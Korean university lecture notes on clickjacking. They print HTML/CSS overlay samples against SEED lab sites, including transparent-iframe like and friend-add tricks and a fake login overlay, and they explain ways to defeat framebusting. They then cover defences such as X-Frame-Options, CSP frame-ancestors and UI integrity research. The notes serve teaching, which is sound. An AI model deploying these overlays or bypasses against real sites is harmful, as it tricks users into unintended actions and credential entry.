2024학년도 1학기 충남대학교 장진수 교수님의 네트워크 및 웹 보안 수업 정리자료입니다.
Iframe

iframe은 여러 프레임을 겹칠 수 있거나, 투명하게 만들 수 있는 등의 특징이 있다.
Overlapping iframes


Transparent iframe


Clickjacking Attack
Attack using Transparent Iframe
Attack 1 : LikeJacknig

<!-- Attack Page -->
<iframe id="bottom" src="./bottom1.html"
style="border: 0px; width:800px; height: 1500px;">
</iframe>
<iframe id="top" src="http://www.seedlabelgg.com/blog/view/60/professor-dus-class-sucks"
style="border:0px; width:800px; height:1500px;">
</iframe>
<style type="text/css">
#top {position:absolute; top:0px; left: 0px; opacity:0.0}
#bottom {position:absolute; top:0px; left: 0px; opacity: 1.0}
</style>
<!-- bottom1.html -->
...
<img id="like" src="like.png" width="20">
#like { position:absolute; top: 220px; left:700px; }
...
Attack 2 : Adding a Friend

<iframe id="bottom" src="./bottom2.html"
style="border:0px; width: 800px; height: 1500px;">
</iframe>
<iframe id="top" src="http://www.seedlabelgg.com/profile/samy"
style="border: 0px; width: 800px; height: 1500px;">
</iframe>
<style type="text/css">
#top {position:absolute; top:0px; left: 0px; opacity:0.0}
#bottom {position:absolute; top:0px; left:0px; opacity: 1.0}
</style>
Attack 3 : Sequence of Clicks

#btn1 { width:50px; height:30px;} #btn2 { width: 50px; height:30px;}
#btn3 { width: 50px; height:30px;}
#btn4 { width: 100px; height:30px;}
<button id="btn1" style="position:absolute; top: 18px; left:725px;">1</button>
<button id="btn2" style="position:absolute; top: 210px; left:60px;">2</button>
<button id="btn3" style="position:absolute; top: 270px; left:90px;">3</button>
<button id="btn4" style="position:absolute; top:180px; left: 260px;">4</button>
Attack using Small-Size Iframe
Attack 1 : Fake Like

<style type="text/css">
#outer {position:absolute; top:0px; left:0px}
#inner {position:absolute; top: 210px; left:75px}
</style>
<iframe id="outer" src="http://www.attacker32.com/attack/class_rocks.html"
style="border:0px; width: 800px; height: 1500px;">
</iframe>
<iframe id="inner" src="http://www.attacker32.com/attack/class_sucks.html"
scrolling="no"
style="border: 0px; width: 120px; height:50px;">
</iframe>
Attack 2 : Fake login

<iframe id="outer" src="http://www.seed-server.com"
style="border: 0px; width:800px; height:1500px;">
</iframe>
<iframe id="inner" src="http://www.attacker32.com/fake_login.html"
scrolling="no"
style="border: 0px; width:800px; height: 230px; ">
</iframe>
<style type="text/css">
#outer {position:absolute; top:0px; left:0px}
#inner {position:absolute; top:320px; left:70px}
</style>
Countermeasures
Client-side: Framekiller and Framebuster
클라이언트 측 방어는 타겟 웹세이트 내에 자바스크립트를 넣고 동작시키는 방식으로 진행한다.
예를 들어 현재 레이어가 최상위 레이어인지, 그렇지 않으면 현재 레이어를 최상위로 교체하는 방식이 있다. 즉 iframe이 존재하는지 감지하는 것이다.
<script type="text/javascript">
if (top != self) top.location.replace(location);
</script>
하지만 우회 방법이 많아서 신뢰성이 떨어지고, 현재는 사용되지 않는다.
FrameKiller 및 Frame buster 우회 방법
1. Double framing
공격자가 타겟 웹사이트에 본인 웹사이트를 넣고, 그 안에 타겟 웹사이트를 넣게 되면 framekiller 방식이 작동하지 않는 경우가 있다.
2. Abusing onBeforeUnload

자바스크립트 이벤트 핸들러 중 window.onbeforeunload는 프레임 바깥으로 빠져나오는 경우 호출이 된다. 공격자가 framebusting된 타겟 웹사이트의 iframe에 onbeforeunload 핸들러 코드가 있는 본인 웹사이트를 추가한다. ?맞음?
onbeforeunload 핸들러가 실행되면, 유저에게 "로그인을 유지하겠습니까?" 라는 가짜 내용의 다이얼로그가 뜨게 하고, OK를 클릭하면 실제로는 프레임을 최상위로 옮기지 않고 계속 프래임 내에 있게끔 한다.
3. Referre checking problems
Referre 헤더를 사용하면 HTTP request가 어디서 왔는지를 체크할 수 있다. 이를 사용해서, 요청이 같은 페이지끼리만 올 수 있도록 방어대책을 세울 수 있는데 이를 우회할 수 있다.

referrer.indexOf("walmart.com")을 통해 walmart.com으로부터 오는 request만 응답하는 것이 기존 의도였지만, 도메인 이름 안에 "walmart.com"이라는 문자열만 존재하면 통과할 수 있다는 취약점이 있다.
4. using "Sandbox"
"sandbox" 속성으로 iframe의 기능 및 범위를 제한할 수 있다. 기존에는 frame 내의 타 출처 코드나 페이지가 악성 행동을 하지 못하도록 나온 보안 기술이지만, 이를 악용하면 clickjacking을 위해 다른 페이지를 가져올 때 그 페이지의 framebusting 코드를 실행하지 못하도록 할 수 있다.
- allow-forms : 모든 form 제출을 허용한다.
- allow-scripts : 모든 스크립트 동작을 허용한다.
- none("") : 모든 동작을 금지한다.
이때 만약 allow-scripts 값을 제거하면, 공격자 웹사이트 내의 iframe에 삽입한 페이지에서 framebusting 코드가 실행되지 않을 것이다.
Server-side: X-Frame-Options Approach
HTTP 헤더의 X-FRAME-OPTIONS 옵션을 사용하면, framing을 허용할지 여부를 결정할 수 있다.
- DENY : 내 페이지가 다른 어떤 사이트 페이지에도 framing되지 않게 한다.
- SAMEORIGIN : 내 페이지가 동일한 출처 내에서만 framing되도록 한다.
- allow-from https://trusted.com : http://trusted.com 페이지 내에서만 framing되도록 한다.



none, deny, sameorigin 순으로 오른쪽 그림과 같이 표시된다.
Server-side: Content Security Policy (CSP)

HTTP 헤더의 Content Security Policy 옵션을 사용하면, 자바스크립트 등의 출처를 제한할 수 있다.
frame-ancestors 종류는 다음과 같다.
- script-src : source 스크립트를 로드할 수 있는 출처를 지정한다.
- img-src : source 이미지를 로드할 수 있는 출처를 지정한다.
- frame-ancestors : 이 프레임을 담는 곳이 source인 경우에만 스크립트를 보여준다.


Iframe의 보안 특징
1. Same Origin Policy


같은 도메인의 부모 프레임, 형제 프레임, 자식 프레임은 자유롭게 접근할 수 있지만, 다른 도메인인 부모, 형제, 자식 프레임에는 접근할 수 없다.
2. Sandbox

sandbox 속성 값을 비어두어서, 이 스크립트를 어떤 상황에서도 framing할 수 없게 한다.
Clickjacking과 관련된 연구
context Integrity(무결성)
1. Visual Integrity : 투명하거나 겹쳐진 레이어들을 사용하지 않음으로써, 사용자가 보고있는 화면과 실제 동작하는 화면이 같아야한다.
2. Temporal Integrity : 사용자가 보고, 클릭하는 그 사이에 대상이 다른 요소로 바뀌는 것처럼 인지하지 못하는 사이에 변화를 일으켜서는 안된다.
Visual Integrity 지키미
User Confirmation
버튼을 클릭했을 때 request가 발생하는데, 이때 사용자에게 'XX 사이트에 request를 발생시키는 것이 맞나요?' 식의 확인 메세지를 전달해서 Clickjacking을 방지한다. 구현이 간단하지만 사용서이 떨어진다.
UI Randomization
페이지가 생성될 때 마다 UI를 랜덤한 위치에 배치해서, 투명한 악성 프레임을 정확하게 배치시키기 어렵게 만든다. 하지만 공격 가능성을 아예 차단할 수는 없다.
Visibility Detection on Click
UI 요소들에 대한 profile을 미리 제공하고, 브라우저에 화면을 띄운 이후 그 화면과 비교해서 다른지 확인한다. 하지만 정상적으로 겹쳐진 프레임들에 대해서도 공격으로 판단할 수도 있다.
Temporal Integrity 지키미
Access Control Gadgets(ACG)
특정 어플리케이션이나 서비스에 대한 권한을 허용해 줄 수 있다. 하지만 매번 유저가 허용해주는건 번거롭고, 개발자가 Manifests나 Promtps를 이요해서 미리 정의할 수 있지만 귀찮고 실수 가능성이 있어서 필요 없는 권한도 다 넣으면서 개발하다보니 보안 구멍도 생기고 그런 문제가 있다.
위 문제를 해결하는 방법이 ACG이다. 카메라, 오디오, GPS같은 중요 권한들에 대해서만 권한 허용 UI를 제작해서 유저가 체크할 수 있도록 하는 시스템이다.
이 방법을 위해서는 아래 사항들이 보장되어야 하는데, 이 사항들이 클릭재킹과 연관된다.
UI가 변조되어서는 안된다.
보여지는 화면에 어떤 버튼이 가려진다던가, 투명화 되어있다던가 하면 안된다.
사용자가 지금 내가 누르려는 버튼이 어떤 버튼인지를 확실하게 인지할 수 있어야 한다.